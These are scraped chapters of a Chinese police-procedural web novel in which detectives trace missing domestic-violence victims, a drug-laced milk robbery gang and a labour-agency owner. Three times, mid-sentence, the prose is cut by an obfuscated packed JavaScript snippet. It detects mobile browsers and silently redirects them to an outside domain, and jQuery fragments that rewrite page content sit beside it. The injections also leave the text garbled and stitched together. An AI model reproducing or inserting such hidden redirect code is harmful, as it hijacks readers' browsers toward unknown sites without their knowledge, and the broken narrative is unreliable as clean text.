l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751875|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “距离827路的那个公交站只差一个路口,几分钟以内路程……” 并且因为路口的位置特殊,两侧分属不同的行政区,这个案子被划分到了二分局。 时隔了两个月,在同一个近似地点失踪,这的确是重要的疑点。 黎尚道:“具体的等明天贺队来判断吧。” 收拾好办公室,程笑衣关上了灯,两个人来到了走廊里。 程笑衣走在前面,她忍了许久,还是把心里的疑问问了出来。 “黎尚,今天下午的时候,贺队问你那个案子的分析,你明明在纸上写了更多的信息。还在827路上画了个圈,可是为什么,你最初没有讲,等到贺队总结的时候才说出来?” 贺临不知道,但是程笑衣所在的角度看得清楚。 一般的新人都会更愿意表现自己,得到领导的重用,黎尚的举动让她看不懂了。 程笑衣回头看向自己的新同事,等待着答案。 黎尚抬头,恰在这时,楼下不知道发生了什么,响起了啪的一声爆鸣,随后有个车的报警被触碰了,嗡鸣声在安静的院子里响起。 那个瞬间,在走廊昏暗的灯光下,黎尚的眼神锐利,身体微微紧绷,他侧了身,目光寻找着声音的来源,似乎整个人都不一样了。 程笑衣正回着头,被那声音吓了一跳,脚步一错,差点扭到脚,身体瞬间失去了平衡。 黎尚站姿未动,手却快速抬起,扶住了程笑衣的手臂,拉她站稳。 程笑衣被他扶住,感受到他的手臂结实有力,黎尚的表情和姿势让她感到了一种压迫感, 随后,黎尚看向了马路对面,那里有个拿着气球的小商贩,他身边有辆闪动着的车。 他很快确认,声音应该是那里发出的,小商贩爆了个气球,慌忙中碰到了报警,骂骂咧咧地走了。 警报声稍纵即逝,紧张气氛也随之褪去。 黎尚这才回头对她解释道:“贺队问我,我就如实说。他不问我,我就查漏补缺。至于你说的那些,贺队应该能想到那些问题,我没必要说。” 程笑衣低头思索,这么听来,黎尚像是主动藏起了自己的优秀,给足了贺临领导的面子。 随后黎尚又加了一句,“对了,明天不用和别人提起我帮你的事。” “哦,好的。”程笑衣慌忙点头答应,她觉得这位新同事更加神秘了,“谢谢。” 坐上了回家的公交车,程笑衣回想着刚才黎尚的那个眼神。 她不再质疑黎尚的特战身份了,锐利,警觉,给人带来十足的压迫感,像是一只蓄势待发的野兽。 程笑衣忽然又想起了一件事。 黎尚真的是INTP吗? 不会是……INTJ吧? 程笑衣一个激灵,一旦想通了这一点,她所有的困惑就忽然有了答案。 白天跟着贺队的时候,说他是INTP还有可能,晚上相处时,根本就是典型的INTJ。 虽然只差了一个字母,两者的行为模式却是千差万别。 程笑衣不记得自己在哪里看到过。 INTJ是一种死而复生的人格,是在巨大的痛苦和绝望之中,没有被打倒,并且靠自己一个人成功站起来的受创人格。 那是所有人格之中最为少见的一种。 她越想越觉得这才应该是正确的答案。 那么之前和她说是INTP时,黎尚是记错了吗?还是他测错了? 但是对于逻辑严谨的INTJ,绝对不可能出现这种错误。 只有一种可能性,他是故意的,他可能在隐藏什么,或者单纯是在演戏。 那只是一层无关紧要的伪装,没有在意的人时他就把面具随手撕下来了。 9.06 第二天一早,贺临来到队里,黎尚交给他昨天的各种记录,资料非常完备,也不知昨晚忙到多晚。 吴韵声带来个新消息:“技侦那边的化验出来了,牛奶果然有问题,里面的药物残留和之前几起案子的一致,估计我们是绕不过那些牛奶大盗了。” 贺临道:“有可能他们和郭木春的失踪有关。” 程笑衣汇报了相关案卷的核对情况,把刘予舒的失踪案卷递给他。 贺临看了看一旁的一堆案卷:“小程,昨天你看了那么多案卷,辛苦了。” 程笑衣受之有愧,她看向一旁泰然自若的黎尚,又马上收回了目光:“贺队,接下来怎么查?” 贺临走到白板前,看着这案子绵延出来的几条线。 牛奶大盗,神秘的红姐,再到现在的刘予舒失踪案。 案子才刚开始查,线索又多又杂,这种感觉就像是盲人摸象,目前还属于探索期,怎么也拼不出一副完整的真相。 贺临沉思片刻下了决断。 他走到程笑衣身旁:“你在网络信息上查一下,唐爱莲和刘予舒有没有什么交集,比如家暴受害者相关的群,论坛,她们之间有没有过通过电话,进行过网络交流。” 程笑衣一一记录下来:“我尽快查清。” “老吴,你去和二分局沟通下这起新的失踪案,我们介入调查。”随后他和吴韵声沟通,“郭木春死了,刘予舒的丈夫李嘉贺却还在世,她有家人还有亲朋好友,说不定能够知道一些什么,等下你去见下失踪者的家人和丈夫,看看有什么线索。” 吴韵声接过了档案:“我带着方觉过去。” 贺临最后说:“我和黎尚去郑队那边。”他安排完后补充道,“老吴,下午我们在827路公交站附近会和。” 两人出发时,贺临告诉黎尚:“反扒队的队长名叫郑立阳,等下你叫他郑队就好。”随后他沉吟了片刻,补充了一句,“那边有点奇怪。” “奇怪?”黎尚不解其意。 贺临:“和别的警队不同,你见到就知道了。” 那只队伍在市局五号楼。 等他们过去时,反扒队还没正式开工。 队里充满了生活气息,桌子上摆着好几个新式的锁扣以及各种撬锁的工具,一旁放着几个密封袋,里面是还没来得及退还失主的赃物手机。 桌面上还有空的易拉罐、饮料瓶甚至是薯片和吃完没扔的方便面盒。 沙发上躺了两个昨天晚上值夜班的警员,正在打着呼噜。 “见笑,见笑,昨晚我们进行了一个针对电瓶车盗窃的突击行动,忙了一宿。”一位三十多岁的中年男人说着话迎了出来。 那人带了副平光眼镜,穿着一身西服革履,看上去不像一位警察队长,更像是哪个上市公司的精英高管。 贺临和郑立阳打了个招呼,黎尚跟着叫了一声郑队。 郑立阳拍了拍手,招呼队员们:“起吧,早点都给你们买好了。” 那些和衣而睡的警员们这才打着哈欠一个一个坐了起来。 郑立阳把人聚齐,会议室里很快就被坐满了。 黎尚环顾四周,终于明白贺临所说的奇怪指的是什么了。 带着金链子刚从夜店里出来的DJ,进城卖菜的老农民,喝着奶茶带着眼镜的外地女游客,穿着格子衬衫的程序员…… 再加上那位似乎随时准备给人讲解PPT的郑队长。 这一群人拉出去让人猜职业,估计没人能猜得中。 郑立阳一边给他们发资料一边道:“工作需要,我们每天都要在公交和地铁线路巡视,有点伪装能够更好执法。” 那位卖菜的老农民是副队,非常应景地姓蔡,起身向他们汇报了牛奶大盗一案目前的调查进度。 “我们已经调取了之前几次案发地附近的监控视频。一共拍到了这么多,能够看清脸的都被截图打印了出来,这些人都在便宜坊附近活动,粗略估计得有七八人。” “受害人的口供都收齐了,那些人都是独身居住,有租房的,也有自己买的房子,有男有女,不知道自己是怎么被盯上的。” “牛奶盒子我们收集到了几个,被注射过药物,注射孔都是用蜡封好的,不仔细看难以发现。” “你们那起案件的资料我们也收到了,从牛奶盒子以及里面的成分来看,应该是这群人所为,不过我们尚不清楚失踪者和他们有没有直接关联。” “不过……的确是在这起失踪案之后,那些窃贼就没有继续犯案了,这也给我们现在的抓捕工作带来了难度。” 贺临仔细听着,黎尚在一旁安静记录。 随后贺临把截取出来的监控一条一条仔细看过。 “我们反扒的情况贺队你也知道,一般只是处理小偷小摸的,抓点扒手和偷车贼,这种有预谋的很少碰到。谁想到这事情越来越大了呢。”郑立阳愁眉苦脸,“贺队你快给我们出出主意,要是能找到那伙人,你们的案子也能跟着推进了了。” 贺临问:“这些人是本地的还是外来的?” 老蔡摇头:“不知道,忽然冒出来的,本地的几个线人我问过了,都说不认识。” 他随后补充:“便宜坊那地方鱼龙混杂,监控比较少,还有很多群租房,很难找。” “指纹呢?” “这些人晚上做事的时候很小心,一般都带着手套,有时候还会简单清理下现场。我们之前在牛奶盒上发现了几枚受害人之外的指纹,去库里比对了,没有记录,应该不是近年出狱的惯犯。” “目击证人能够提供更多的信息吗?比如画像……” “唯一目击者是个女的,当时被吓坏了,只记得是个比她个子高不少,带口罩的男人,其他的信息提供不出来。” “药物方面有线索吗?” “一种口服后会导致短暂嗜睡昏迷的药物,计量调配得非常讲究,不知道是不是从医院里流出的。” 老蔡把药理报告也给贺临看。 “这种药品的医院管理比较严格。”贺临抬头问,“宠物医院有没有调查过?” 如果是同类兽药,可能反而更好获取。 听到这里,郑立阳的眼睛一亮:“这个目前还没查过,我们记录下来,查查看。” 紧接着,贺临又帮着分析出了一些蛛丝马迹。 蔡副队听完却叹了口气,眼皮耷拉下来:“这个案子和我们以前接触过的感觉不一样,但是具体哪里不一样,我又说不上来。” 他完全靠的是老警察的直觉。 会议开到了这里,一旁的黎尚默不作声地整理着那些监控截图照片,他从几百张照片里挑选出了几张照片,把照片在贺临面前的桌面上一字排开。 贺临跟随着他的手,目光下移。 那些照片有白天的,也有晚上的。 盗贼们会有意识地遮挡面部,也会故意躲避摄像头,这些放大后的监控截图却依然捕捉到了一些不易觉察的细节。 有一名被拍到的盗贼,虽然戴了口罩,但是依然在脑门处有一道明显的黑白分界线,那应该是被电瓶车头盔晒出来的晒痕。 另一名窃贼,在外面穿了一件外套,可是衣领和袖口却是那种板正的白色衬衣。 还有,冒充送奶员的人,车后的箱子上装饰有几只毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761646|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绒小羊。那些毛绒羊明显经过了风吹日晒,用了很长的一段时间。 贺临忽然脑中灵光一闪,指了指那张照片:“我觉得可以从这一点入手。” 郑队看他指着的牛奶箱:“牛奶?”随后他皱着的眉头松开,“老蔡,你们去联系一下这家牛奶派送公司,把截图给他们辨认……” 老蔡还没开始行动,贺临就连忙否认:“不,不是牛奶,我指的是职业。” 他说到这里抬起头来:“他们去受害人家里推销牛奶时,装备齐全。我觉得他们其中一个,或者是几个,可能真的在相关行业做过……” 听他说了以后,其他的警员们也纷纷反应过来,一直处于瓶颈的调查分析终于找到了一个突破口。 “的确,这些人中有的人掌握着附近的道路信息,逃跑迅速,不留踪迹,交通工具是电瓶车,头上和袖口处有晒痕,应该是送过外卖?” “有几个看身材像是做体力活的,会不会之前是快递或者物流人员?” “他们知道哪些人是他们的目标人群,甚至知道独居者对应的准确住址,肯定有详细资料。一般中介能够查到这些信息。” “那种药物也是,需要有药理知识,不是人人都能轻易获得。我觉得刚才说的兽医院或者是小诊所是重点的排查对象。” 众人七嘴八舌地总结着,知道住宿情况的可能是中介,了解药物的可能是兽医或者是医生,上门推销的可能是牛奶推销员,熟悉每条小路和小区居住环境的可能是外卖或者是快递员…… 老蔡终于知道自己之前感觉到的异常之处究竟在哪里了。 他感慨道:“这起案子的确和一般的盗窃案不一样,我们以前接触的团伙作案,大部分是有领头的,其他人是做事的小弟,多是一些混混或者是惯偷出身。而这起案子的嫌疑人,就像是临时起意,然后从各行各业凑起来的,每个人都在利用自己熟悉的技能,分工合作进行作案。” 贺临说出了自己的结论:“我觉得可以查一查便宜坊附近目前处于无业状态的失业人员,有消息我们随时沟通。” 郑队千恩万谢着把两人送了出来。 . 走到了外面,贺临对黎尚道:“这是部门之间的会议,有存档就好,不用记录得太细致。特别是这种别的队主要负责的案子,重在结果,不在参与。” 工作完成的用不用心看一眼就知道,贺临今早看了黎尚昨天整理的文件,简直是事无巨细,整理得非常详尽。 刚才他看到黎尚还在记录,怕他做了无用功,开口提醒他。 黎尚道:“贺队,我觉得你说的都挺重要的。” 贺临差点呛到:“我都是随口说的,又不是圣旨。案子还没破,回头再推理错了,写出来不是丢人嘛?” 黎尚这才略微妥协:“我先记下来。如果你觉得没必要,存档的时候可以删除。” 贺临想到还要改文件就觉得头疼,可笔在别人手里,他总不能抢过来不让记。只能等回头案子破了再说。 随后,贺临又问出了自己心中的疑惑:“刚才你给我看的那几些截图照片,是不是在提示我?” 他正是顺着那些照片中不同的职业元素,想到的关键点。 黎尚声音平静:“贺队,那些是你想到的。我只是觉得照片太多,里面有用的信息不多,整理了一下。”他说到这里,顿了一下,一双眼睛望向贺临,“如果你非要找点原因,那可能是默契吧。” 世间最难得的,莫过知己二字。贺临的心里涌起了一种惺惺相惜。 和反扒队开了一个上午的会,贺临看了看时间:“走吧,去吃午饭,我请客。” 10.07 贺临选了一家离市局不远的饭店,领着黎尚进去。 两人一进门,老板娘就热情地和贺临打着招呼,显然他是这边的常客。 黎尚环视了一周,找了个位置先去坐了。 贺临和老板娘聊了几句,转身回望,发现黎尚坐在了餐厅里侧。 那里避开了窗口,远离了就餐的人群,倒是离后厨的出口比较近,就算是中午也需要灯光照明。 黎尚坐在位置上翻看着菜单,他的坐姿自然端正,头微垂着,灯光侧照下来,打在他分明的下颌线上,留下一条近乎完美的分界线。 如果是方觉独自坐在那里,那绝对像是一只落了单无所事事的小狗,可是黎尚坐在那里却有种悠然自得,看起来安静而孤独。 贺临想了一会应该用什么来形容才更恰当,然后他想到了,就像是一只美丽而高傲的鹤。 贺临对这种独立又干练的同事抱有好感。 以前在队里,老吴虽然经验丰富,但却行事老派,和他有点代沟,程笑衣主要做的是辅助和文职,方觉年纪太小,热情有余,稳重不足,队里连个能够商量事的人都没有。 贺临忽然觉得,就算是不能做师徒,他和黎尚应该也能处成哥们。 那个角落看似不起眼,可贺临却一眼发现了其中的玄机,他走过去坐在黎尚对面:“真会挑位置,一来就坐了个好地方。” 黎尚抬眸解释:“我觉得这边人少,比较安静。” 贺临笑道:“你坐的位置是处死角,如果外面有狙击手会因为障碍太多无法射击。但从你那里向外看却视野开阔,可以看到整个餐厅的环境,无论是前后门有人进来,都可以很好应变。” 说到这里,他补充了一句:“我以前在队里的时候,这种是位置专门留给现场指挥的。” 黎尚似乎没想到这些,他发现贺临是背对着大厅,开口道:“那我们换下吧。” “换什么?我和你开玩笑呢。”贺临随手抓了一把桌旁的瓜子,没有要交换的意思,“这是市局旁边,一屋子吃饭的有一半都是警察,有人进来找事怕是疯了,吃个饭而已,用不着这么警觉。” 他说完这话,服务员走过来放下一张打出来的单子。 贺临道:“菜我自作主张先点了,都是这家的特色,你看看需要加什么或者改什么。” “你点了就好。”黎尚完全没看,他合拢了菜单,“我吃得不多,不用加了。” “行,那就这些。” 等菜的功夫,贺临对他道:“对了,菜还要等一会,先说正经事。” 听见正经事,原本对吃饭兴致缺缺的黎尚坐直身体看了过去。 “我想要和你说说,我的独家秘籍。” 黎尚抬头,看向周围嘈杂的环境:“这里?” 刻在骨子里的警惕和敏感让黎尚下意识地环顾四周。 贺临反倒很轻松,完全不怕其他人“偷艺”:“没事,一般人学不来。也用不上。” 听到这句话,黎尚放松下来,但也没急着让他说,他又问:“队里其他人学过没?” “他们也用不上,老吴是老刑警自成体系,方觉的悟性有点差,程笑衣主要是做网络工作。”贺临说到这里,看向黎尚,诚恳道,“只教给你。” 听到想听的,黎尚才道:“那你说说看。” 贺临把瓜子放在了桌子上:“追查失踪案,和其他的案件都不一样。” 随后他细说:“常规的案件调查,比如刑事案件,都是先有案发,尸体首先摆在了法医和刑警的面前,你顺着现场,尸体、痕迹、目击,一路查下去,总是能够发现点什么。可失踪案最大的特点是什么?” 黎尚低头,手指轻轻敲击了两下桌面,开口回答道:“没有尸体。” 活不见人,死不见尸,这才叫做失踪。 “对。”贺临点头,他的目光深邃,“案发的那一刻,留在那里的那具尸体,那个死人,那个凶手,这一切,就是凶杀案的原点。而我们,没有这个原点。我们面对的是无踪无际的迷雾,它可能是任何的情况,所以失踪案是所有案件里最难破的。” 黎尚听到这里才像是真的来了兴趣,配合地问贺临:“那该怎么破局呢?” 贺临道:“我有一个方法,叫做结果导向法,就像是之前开会时,你归纳的那种方法,但是还可以总结得更为细致,把所有的可能性都写出来。往往这么归纳过后,能够更快破局。” 黎尚思索了片刻,眼睛微眯,他领会了贺临的意思:“无论失踪者是死是活,总有一个现在的状态。你的目的是把现在的可能状态全都假设罗列出来,一一调查排除,尽可能地缩小范围,找到失踪案的终点,再反过头去倒推那个原点。” 想清楚这层逻辑,黎尚有种豁然开朗之感,看向贺临的眼神也多了些不一样的情绪。 这种纯脑力的推理和他过去的调查以及执行任务时的感觉不同,虽然少了很多客观条件或者是数据的支撑,但却开拓了更宽的思路,能让他从更多的角度去分析问题。 黎尚不得不承认,这一刻他感觉到了曾经让心跳加速,热血沸腾的那种感觉。 贺临难得跟人聊得这么投缘,不禁拍了拍黎尚的肩膀:“聪明,我就知道你悟性高,跟你聊这个准没错。” 黎尚没接话,似是接受了这段恭维,只是轻轻动了动刚刚被贺临拍过的肩膀。他开口道:“光是听理论就觉得挺有用的,感谢贺队传授经验。” 贺临听了这话,被夸得心里美滋滋的:“这只是其中的一种常用方法,我还有其他的绝招,等以后案子里遇到了,具体情况具体分析,我详细和你说。” 两人等菜上桌,贺临吃了几口忽然放下筷子特别认真地问:“对了。你昨晚是不是帮着小程处理案卷来着?” 黎尚举着筷子的手停在半空,一时没说话,似乎在思考是怎么被他看出来的。 贺临不想让他误会:“程笑衣没告诉我,是我猜的。她的效率我比较了解,处理完那些案子大概需要一天半。你昨天晚上把车开回来,她就提前完成了任务。早上汇报的时候,她看了看你,我就知道了。” 黎尚不善于解释,想了想才开口:“我当时只是……” “没事,部门里互相帮助是应该的。”贺临打断了他的话,一副了然的神情。 黎尚坚持把话说完:“我没有别的意思,她是位优秀的警员,做事认真仔细,但是她使用的方法不太对,导致处理案卷的效率有点低,我帮着看了下。“ 贺临:“……” 这么直接的答案他倒是没有料到。 . 饭店上菜挺快的,不多时就都摆了上来,韭香腰花,铁板牛肉,素炒青菜,主食点了点米饭,一盘子水饺,还有一盆黑褐色的东西,盛放在一个煲里。 黎尚的目光落在了最后的那个菜上,他闻到了一股菌菇的味道。 贺临给他介绍:“这个东西是菌菇煲,是用坝上的菌菇和肉沫一起炖出来的,浇在米饭上很好吃。”他又指了指一旁的饺子,“还有,这家的饺子不错,和我妈当年包的味道很像。” 说完他就拿了个空碗,热络地给黎尚盛了一勺子菌菇。 黎尚闻着蘑菇的味道,迟迟没有动筷子,他问:“这是这家店的特色菜吗?” 贺临介绍道:“说起这道菜,还是我教给老板娘做的。这是我过去喜欢的一种吃法,可又因为工作太忙没有时间做,偶然一次和老板娘说起过,她就给做出来了。你尝尝看,特别好吃。” 黎尚拿起了筷子,开始吃起来。 昨天在食堂吃饭,边吃边聊还不觉得。 今天单独出来,贺临才发现黎尚吃得慢条斯理的,他低头吃得专注,也不玩手机,就是单纯吃得慢。 贺临都吃到第二碗了,黎尚的米饭刚吃下去三分之一。 明明是个男人,为什么吃起饭来嗓子眼这么细? 贺临有点感慨:“我做特战时,有过野外训练。经常会限制饮食的数量和时间,一瓶水加一大块压缩饼干,一分钟结束一顿饭。想再补充体力,那得等到六小时以后。” 黎尚轻轻哦了一声:“我们蓝雀没有这些,听起来挺辛苦的。” “水需要有技巧地挤出来,压缩饼干基本是硬塞进去,否则撑不了几个小时的训练就会饿晕。”贺临笑着调侃他,“你这种吃饭的速度,在那边得饿死。“ 黎尚说:“那是训练的特殊要求。平时吃太快对身体不好。” 贺临轻轻呵了一声:“规矩还不是人定的?别的队都会放放水,只有我们以前的队长是出了名的变态,特别严格。” 黎尚抬了头问:“他对你不好吗?” 一句话把贺临问住了,他想说点什么,皱眉道:“他对我……” 贺临想要举出点具体的例子,脑子里忽然闪现出很多的画面,却是云雾一片,周围的喧嚣忽然就淡去了。有血从胸口往上涌,热热的,那些事和人像是麻线一般缠绕在一起。 贺临忽然有点难受,大脑刺痛,口中泛起了铁锈味。 他已经好久没有经历这么严重的发作了,以前伤口没有愈合的时候甚至还会吐出血来。 随后,他感觉自己像是穿过了一片雾,两秒以后才听到了周遭的声音,他从那种状态里脱了出来。 不适渐渐褪去。 似乎是这瞬间的空档让黎尚有些不知所措,他的脸色发白,愣愣地看着贺临,握着筷子的手略微收紧了,等着他继续说。 “其他的记不清了。”贺临有点后悔提起了这个话题,摇头道,“不提了。” 说到这里,贺临又让黎尚尝尝饺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772986|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你快吃吧,等下饺子凉了。 黎尚夹起了一个饺子,刚尝了一口,没等咽下去就被哽住了。他捂着嘴,眼睛里泛起水光。贺临急忙给他倒水,又坐过去给他拍了拍背。 黎尚侧头咳了几声,喝了点水,才像是把食物顺下去了。 折腾了一番,他的眼睛红红地像是哭过。 贺临这次完全不敢催他了,安抚道:“不急不急,你慢慢吃,我等你。” 黎尚似乎也没了胃口,他又低头放慢了速度,小鸟似的两三粒米往嘴里放。 贺临见状去买了单,等他回来黎尚已经站在门口等他了。 贺临丢给他一个车钥匙:“走吧,等下我们直接开车去827的公交站,你知道位置吧?” 黎尚:“知道。” 贺临已经有半个月没坐别人开的车了,往日里方觉就像是个一刻不停的小喇叭,现在换了黎尚来当司机,车里一时安静了下来。 黎尚的车开得又快又稳,贺临看了一会就完全放下心来,侧头靠着椅背休息了起来。刚吃饱喝足,阳光照着让人有点昏昏欲睡。他的头部受过伤,又刚刚发作过,需要休息一会才不会头疼。 贺临闭目养神,感觉到车停了。 他在朦胧之中有一种奇怪的感觉,觉得在被人盯着看。 贺临完全是靠着特战时的直觉,瞬间清醒。他睁开双眼以后发现车在等红灯,黎尚侧了头,正在专注地看着他,大概是在看他是不是睡着了,发现他醒了,目光才不动声色地移开。 贺临整理了下衣物,睡意全无:“别看我,看路。” 车很快停在了827路的公交车站。 他们到的早了一些,把车找了个地方停好,观察着周边的环境。 827路公交总站靠近市郊,这里却没有普通郊区的萧条落寞,因为这里是云城两个区和周边县城的交界处,人来人往,非常热闹。 他们稍等了一会,吴韵声和方觉就来了。 一见面,贺临开口问:“情况怎样?” 方觉急吼吼地说:“那男的简直不是东西!”然后他就气愤道,“我还以为学历高,工作好的男人能收敛点呢,结果也是家暴,还是明里暗里PUA的那种家暴!什么青梅竹马,校园爱情都不可信!” 贺临来到了吴韵声身边:“老吴,你把情况说说。” 老吴在一旁点了根烟:“我们先去找了刘予舒的丈夫李嘉贺,和他了解情况。当初他们两个是在大学校园里认识的,还是所重点大学。这男人一口咬定自己没有家暴过,一直在寻找他老婆。我们问了一会,他很不配合,说要去开会,把我们支走了。” “出来后我们就去问了刘予舒的家人。发现根本不是这么回事,女儿结婚以后,他们就过得胆战心惊的。半夜里会收到女儿的求救短信,刘予舒失踪之前,这种情况发生过三次。” 贺临问:“这家又是因为什么不离?” 老吴道:“刘家父母说,那男人是个疯子,吵架的时候会脱衣服,拿刀往自己身上划,有一次光着身子舞到了楼道里,还有几次想要跳楼。他威胁说,如果离婚就杀了刘予舒全家。刘予舒一直担惊受怕,觉得忍一忍就过去了。” 贺临听到这里道:“和唐爱莲的遭遇有相似之处。” 刘予舒最后的失踪地点也在附近,黎尚取出了早就打印好的失踪者照片,他们重新开始排查。 道路两旁开有一些沿街商铺。方觉和吴韵声从路的西边开始问,贺临和黎尚从路东开始扫。 两队约定在中间处会合。 由于两起失踪案都发生在几年以前,附近的人能够提供的信息非常有限。 问了一会,贺临看到有家小卖铺,一位老人家在柜台里打着瞌睡,他过去把老人叫醒。给他看过郭木春,唐爱莲还有刘予舒三个人的照片。 那老头凝神看了一会,表示没见过郭木春,随后他指着另外两张照片道:“我还记得这两个女的好像都是失踪的,之前分别有警察过来问过,怎么?人还没找到啊。” 黎尚略微有些失望,用手收拢了照片。 贺临却契而不舍地和老人聊着,他买了几瓶矿泉水,递给了黎尚一瓶,又问店主这个店子开了多久了,平时生意怎样。 和老人聊了几句,贺临问他:“对了,附近有没有一位叫红姐的?” 他本是随口一问,老头却有了反应。 “红姐?”老店主的眉头松开,“是那个红姐吗?这附近的人都认识她。” “她是做什么的?”贺临忙问。 “什么都做,什么忙都能帮,她年轻的时候可是这附近的交际花。”老头走出去,朝着马路对面伸手一指,“那就是红姐开的店子。” 贺临和黎尚抬头望去,对面有一家小店,上面立着招牌:万安劳务介绍所。 11.08 贺临和黎尚谢过老人,两人过了马路,来到了介绍所前。 这种劳务介绍所在云城挺常见的,门口的玻璃后贴满了各种用工招聘信息。从外面看不清楚里面的情况,贺临推门试了下,门没锁,他带着黎尚走了进去。 门后传来一个女人的声音:“来啦!” 随后从里屋走出来一位女人,她的身材和皮肤都保持得挺好,化了淡妆,纹了眉毛,戴着一副黑框眼镜,是那种有点年龄的成熟美。 女人笑着走出来,目光在两人身上转了一圈:“两位老板第一次来吧?你们是哪里的?要找用工的工人吗?” 女人说着话,用手从一旁的桌子上拿起一本档案册:“你们要什么学历的?初中,职高,高中还是大学?需要什么职业技能?我这边的信息可全。而且价格便宜,比起那些招聘网站,只需要一个零头。” 贺临没隐藏身份,他按照问询流程,直接取了警察证出示给女人。 女人哦了一声,把自己的证件翻出来拿给他们查看。 黎尚在一旁登记,这女人名叫万红,今年43岁,就是云城本地人。 贺临拿出了唐爱莲的照片给她看:“你见过这个人吗?” 万红侧头看了一眼,匆匆摇头,“没印象了……我这里人来人往的,太多了。你这忽然问我,我还真想不起来。” “再仔细看看,她叫唐爱莲。”贺临报出了唐爱莲的电话号码,“你和她通过电话吗?” 万红拿出手机晃晃:“我这里一天少说也有几十个电话。有的是自己打过来的,有的是别人介绍来的,就算是给我打过电话,我也不可能每个都记得。” 贺临又给她看了刘予舒的照片。 万红瞥了一眼,眉头皱得更深了:“这个也……看着眼生。” 贺临最后给她看了郭木春的照片。 万红摇头:“应该是没见过。” 随后她八卦地问,“你们警方在找这些人?他们出了什么事?是嫌疑人?还是被害人?” 贺临没告诉她具体的:“警务排查,如果你知道这三个人的消息,一定要告诉我们。” 黎尚停下记录的动作问:“能不能用电脑查一查,看下他们有没有在这里登记过?” 介绍所的里屋明显有电脑开着。 万红笑着摆了下手:“我岁数大了,眼神不好,这里的电脑就是个摆设,很多信息还是纸上留的。” 随后女人热情道:“你们要是不急的话,留个联系方式,回头等我翻翻那些旧档案,有消息了告诉你们。” 贺临让万红留了手机号,又查看过这里的营业执照。 这店里只有万红一个人,她除了介绍工作,有时候还帮着人介绍房子,什么挣钱,就干什么。 正说着,万红的手机响了,她接了个电话,然后又回来和两位警员聊着。 贺临问:“你这家店开在这里多久了?” “有个二十来年了,我这里什么都做,你要是想打听消息,或者是介绍对象,都可以。” 贺临:“老板娘你没结婚?” “结什么啊,我每天忙来忙去的,哪里有空伺候男人。”万红哈哈笑了,眼睛往贺临身上撇,“再说了,谁让我年轻的时候没遇到像你这么帅的男人呢?” 这一句话占了贺临的便宜。 贺临没太在意,黎尚却抬头,冷冷看了女人一眼。 很快,店里又来了几位找工作的年轻人,贺临和黎尚没在店子里待太久,转身走了出去。 吴韵声和方觉正好也结束了问话,四个人会和,一起进了原本停在路边的车里。 贺临开门见山:“我们应该是找到红姐了,就是那家职业介绍所的老板。” “那她说不定和唐爱莲的失踪有关系。”吴韵声的眼睛一亮,“问过话了吗?” “简单聊了几句,有破绽。”贺临没直接回答,转头问黎尚,“你觉得呢?” 黎尚略一思索道:“那位红姐是做劳务资源生意的,最基本的就是要认人,我们一进门她就知道我们第一次来。贺队给她看了几张失踪者的照片,她特别快地答复不认识。以前警方搜查过这附近,连对面杂货店的老板都还记得,她这种职业介绍所的,不太可能没印象。” 老吴猜测:“会不会是不想惹麻烦,所以才这么说的?” 贺临摇头,他继续补充:“刚才黎尚让她用电脑查一下记录,她的反应有点慌。还有,我们问话的时候……她不关心这几个人的情况,反而想套我们的话,问警方为什么在找那些人。” 黎尚听他说着,拿起本子又要记录,贺临一把抢了他的笔:“这有什么好记的?”他转身对吴韵声说,“老吴,你让小苏去调取她的通讯记录,看看唐爱莲和刘予舒有没有给她打过电话。” 方觉接话:“你们说,有没有可能,唐爱莲和刘予舒都是被这位红姐给藏起来了?”他越想越觉得是这么回事,“她们都被家暴了,肯定要找个地方躲藏,说不定红姐就给她们介绍了一份不用见人的工作。” 吴韵声眼睛微眯摸着下巴:“说得通,但是有一点挺难解释,我们接触过的失踪案多了去了,想要把两个大活人完全藏起来不留痕迹,这事可是有点难。她们吃什么喝什么?用什么,住在哪里?怎么通讯?这些都成了问题。”说到这里,他叹了口气,“我是一时想不到,能有什么好方法来藏人。” 方觉猜测:“不会是运到矿里,或者是带到乡下去了吧?如果人在外地,那就难找了。” “我们想不到,不代表没有。”贺临道,“如果真的是红姐把人藏起来了,她肯定会留意警方和家人的动向,防止那些人被找到。” 黎尚领会了他的意思:“如果那些女人的失踪和她有关,那她肯定会联络她们……” 话刚说到这里,贺临的手机响了,他接起来喂了一声,随后就按了公放。 手机中传来了郑立阳略显激动的声音:“贺队,我们查到了一些信息,便宜坊这边的社区在几个月前做过一次人口登记。里面有失业统计,我们排查下来,找到了两位嫌疑人,随后确定了更多的嫌犯,目前一共找到了六个人,我们准备下午抓捕,你们有多余的警力能帮把手吗?” 贺临没拒绝:“我们正在便宜坊附近,你把资料发过来看看。” 这边刚挂了电话,老蔡就把牛奶案主犯的资料发到了工作群里,其中一位送过牛奶也送过快递,一直在打零工,目前在失业状态;另外一人是兽医专业毕业,曾在附近的一家兽医诊所做过助理医师,半年前失业。 